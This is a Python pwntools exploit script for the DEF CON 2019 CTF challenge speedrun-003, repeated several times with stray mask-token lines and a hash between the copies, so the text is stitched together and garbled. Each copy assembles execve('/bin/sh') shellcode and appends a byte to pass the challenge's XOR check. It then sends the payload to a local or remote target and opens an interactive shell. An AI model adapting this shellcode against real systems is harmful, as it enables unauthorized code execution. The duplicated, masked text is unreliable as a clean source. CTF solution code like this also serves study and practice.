#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info")
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/defcon-2019-quals/speedrun/speedrun-003/speedrun-003")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def xorShellcode(shellcode , key):
	enc = 0
	for i in range(key):
		enc ^= ord(shellcode[i])
	return enc


def exploit(r):
    #attach(r)
    machine_code = '''

	xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx

    push rsp
    pop rdi
    cdq
    push rdx
    push rdi

    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    '''
    shellcode = asm(machine_code).ljust(29,'O')

    log.info('length(shellcode) : ' + str(len(shellcode)))

    
    shellcode = shellcode + chr(xorShellcode(shellcode[15:] , 14) ^ xorShellcode(shellcode[:15] , 15))
    r.sendline(shellcode)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("speedrun-003.quals2019.oooverflow.io", 31337)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)
acb3f6d3ca03c9963c0123846177a940de9dc662
<mask token>


def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join([('break %s' % (x,)) for x in bkps]))
    return


<mask token>


def exploit(r):
    machine_code = """

	xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx

    push rsp
    pop rdi
    cdq
    push rdx
    push rdi

    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    """
    shellcode = asm(machine_code).ljust(29, 'O')
    log.info('length(shellcode) : ' + str(len(shellcode)))
    shellcode = shellcode + chr(xorShellcode(shellcode[15:], 14) ^
        xorShellcode(shellcode[:15], 15))
    r.sendline(shellcode)
    r.interactive()
    return


<mask token>

<mask token>
context.update(arch='amd64', endian='little', os='linux', log_level='info')
<mask token>


def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join([('break %s' % (x,)) for x in bkps]))
    return


def xorShellcode(shellcode, key):
    enc = 0
    for i in range(key):
        enc ^= ord(shellcode[i])
    return enc


def exploit(r):
    machine_code = """

	xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx

    push rsp
    pop rdi
    cdq
    push rdx
    push rdi

    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    """
    shellcode = asm(machine_code).ljust(29, 'O')
    log.info('length(shellcode) : ' + str(len(shellcode)))
    shellcode = shellcode + chr(xorShellcode(shellcode[15:], 14) ^
        xorShellcode(shellcode[:15], 15))
    r.sendline(shellcode)
    r.interactive()
    return


if __name__ == '__main__':
    if len(sys.argv) == 2 and sys.argv[1] == 'remote':
        REMOTE = True
        r = remote('speedrun-003.quals2019.oooverflow.io', 31337)
    else:
        LOCAL = True
        r = process([TARGET])
    exploit(r)
    sys.exit(0)

<mask token>
context.update(arch='amd64', endian='little', os='linux', log_level='info')
LOCAL, REMOTE = False, False
TARGET = os.path.realpath(
    '/home/tripoloski/code/ctf/defcon-2019-quals/speedrun/speedrun-003/speedrun-003'
    )
elf = ELF(TARGET)


def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join([('break %s' % (x,)) for x in bkps]))
    return


def xorShellcode(shellcode, key):
    enc = 0
    for i in range(key):
        enc ^= ord(shellcode[i])
    return enc


def exploit(r):
    machine_code = """

	xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx

    push rsp
    pop rdi
    cdq
    push rdx
    push rdi

    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    """
    shellcode = asm(machine_code).ljust(29, 'O')
    log.info('length(shellcode) : ' + str(len(shellcode)))
    shellcode = shellcode + chr(xorShellcode(shellcode[15:], 14) ^
        xorShellcode(shellcode[:15], 15))
    r.sendline(shellcode)
    r.interactive()
    return


if __name__ == '__main__':
    if len(sys.argv) == 2 and sys.argv[1] == 'remote':
        REMOTE = True
        r = remote('speedrun-003.quals2019.oooverflow.io', 31337)
    else:
        LOCAL = True
        r = process([TARGET])
    exploit(r)
    sys.exit(0)

<mask token>
import sys
from pwn import *
context.update(arch='amd64', endian='little', os='linux', log_level='info')
LOCAL, REMOTE = False, False
TARGET = os.path.realpath(
    '/home/tripoloski/code/ctf/defcon-2019-quals/speedrun/speedrun-003/speedrun-003'
    )
elf = ELF(TARGET)


def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join([('break %s' % (x,)) for x in bkps]))
    return


def xorShellcode(shellcode, key):
    enc = 0
    for i in range(key):
        enc ^= ord(shellcode[i])
    return enc


def exploit(r):
    machine_code = """

	xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx

    push rsp
    pop rdi
    cdq
    push rdx
    push rdi

    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    """
    shellcode = asm(machine_code).ljust(29, 'O')
    log.info('length(shellcode) : ' + str(len(shellcode)))
    shellcode = shellcode + chr(xorShellcode(shellcode[15:], 14) ^
        xorShellcode(shellcode[:15], 15))
    r.sendline(shellcode)
    r.interactive()
    return


if __name__ == '__main__':
    if len(sys.argv) == 2 and sys.argv[1] == 'remote':
        REMOTE = True
        r = remote('speedrun-003.quals2019.oooverflow.io', 31337)
    else:
        LOCAL = True
        r = process([TARGET])
    exploit(r)
    sys.exit(0)

#!/usr/bin/env python2
'''
    author : tripoloski 
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info")
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/defcon-2019-quals/speedrun/speedrun-003/speedrun-003")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def xorShellcode(shellcode , key):
	enc = 0
	for i in range(key):
		enc ^= ord(shellcode[i])
	return enc


def exploit(r):
    #attach(r)
    machine_code = '''

	xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx

    push rsp
    pop rdi
    cdq
    push rdx
    push rdi

    push rsp
    pop rsi
    mov al, 0x3b
    syscall
    '''
    shellcode = asm(machine_code).ljust(29,'O')

    log.info('length(shellcode) : ' + str(len(shellcode)))

    
    shellcode = shellcode + chr(xorShellcode(shellcode[15:] , 14) ^ xorShellcode(shellcode[:15] , 15))
    r.sendline(shellcode)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("speedrun-003.quals2019.oooverflow.io", 31337)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)